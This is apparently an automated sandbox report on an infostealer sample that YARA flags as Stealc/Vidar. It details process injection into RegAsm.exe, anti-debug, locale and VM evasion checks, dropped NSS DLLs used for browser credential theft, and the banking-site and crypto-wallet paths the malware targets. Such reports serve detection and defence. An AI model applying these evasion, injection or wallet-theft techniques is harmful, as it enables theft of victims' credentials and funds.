Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.2.dr, vcruntime140[1].dll.2.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.2.dr, msvcp140[1].dll.2.dr
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000002.00000002.2265108355.000000006CA9F000.00000002.00000001.01000000.00000008.sdmp, nss3[1].dll.2.dr, nss3.dll.2.dr
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 00000002.00000002.2264548982.000000006C8DD000.00000002.00000001.01000000.00000009.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr
Source:	Binary string: c:\iid7c08xh50i\obj\Re\ease\ppZ.pdb source: file.exe
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.2.dr, softokn3.dll.2.dr

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_004195E0

Source: mozglue.dll.2.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.2.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.2.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.2.dr	Static PE information: section name: .didat
Source: nss3.dll.2.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.2.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.2.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.2.dr	Static PE information: section name: .00cfg

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041A9F5 push ecx; ret		2_2_0041AA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C89B536 push ecx; ret		2_2_6C89B549

Source: file.exe

Static PE information: section name: .text entropy: 7.988328517331481

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004195E0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_2-68422

Source: C:\Users\user\Desktop\file.exe	Memory allocated: EB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 2980000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 4980000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

API coverage: 8.6 %

Source: C:\Users\user\Desktop\file.exe TID: 6776

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	2_2_0040F4F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040BCB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004139B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	2_2_0040E270
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_00401710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,FindNextFileA,FindClose,	2_2_004133C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	2_2_004143F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	2_2_0040DC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	2_2_00414050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,FindNextFileA,FindClose,	2_2_0040EB60

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00401160 GetSystemInfo,ExitProcess,

2_2_00401160

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: JEHIJDGI.2.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: JEHIJDGI.2.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: JEHIJDGI.2.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: JEHIJDGI.2.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: JEHIJDGI.2.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: JEHIJDGI.2.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000F9D000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2243570891.0000000000FCE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: JEHIJDGI.2.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: JEHIJDGI.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: JEHIJDGI.2.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: JEHIJDGI.2.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: JEHIJDGI.2.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: JEHIJDGI.2.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: JEHIJDGI.2.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: JEHIJDGI.2.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: JEHIJDGI.2.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: JEHIJDGI.2.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: JEHIJDGI.2.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: JEHIJDGI.2.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: JEHIJDGI.2.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: JEHIJDGI.2.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: JEHIJDGI.2.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: JEHIJDGI.2.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: JEHIJDGI.2.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: JEHIJDGI.2.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: JEHIJDGI.2.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: JEHIJDGI.2.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: JEHIJDGI.2.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: JEHIJDGI.2.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: JEHIJDGI.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: JEHIJDGI.2.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: JEHIJDGI.2.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: RegAsm.exe, 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware>x

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-69585
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-68410
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-68407
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-68428
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-68429
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-68450
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-68421
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_2-68250

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

2_2_0041ACFA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00404610 VirtualProtect ?,00000004,00000100,00000000

2_2_00404610

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

2_2_004195E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00419160 mov eax, dword ptr fs:[00000030h]

2_2_00419160

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

2_2_00405000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041C8D9 SetUnhandledExceptionFilter,	2_2_0041C8D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0041ACFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_0041A718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C89B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6C89B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C89B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6C89B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6CA4AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6CA4AC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 5580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 760, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Jump to behavior

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0298249D CreateProcessA,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,

0_2_0298249D

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

2_2_004190A0

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B71008	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_6C89B341 cpuid

2_2_6C89B341

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

2_2_00417630

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

2_2_00417420

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004172F0 GetProcessHeap,HeapAlloc,GetUserNameA,

2_2_004172F0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 2_2_004174D0 GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

2_2_004174D0

Source: file.exe, 00000000.00000002.2111216701.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: file.exe, 00000000.00000002.2111216701.0000000000AA1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AVP.exe

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000002.00000002.2243570891.0000000000F6A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 760, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 760, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe	String found in binary or memory: am\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.j
Source: RegAsm.exe	String found in binary or memory: on\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multid
Source: RegAsm.exe	String found in binary or memory: am\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.j
Source: RegAsm.exe	String found in binary or memory: en\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|
Source: RegAsm.exe	String found in binary or memory: \jaxx\Local Storage\
Source: RegAsm.exe	String found in binary or memory: am\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.j
Source: RegAsm.exe	String found in binary or memory: am\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.j
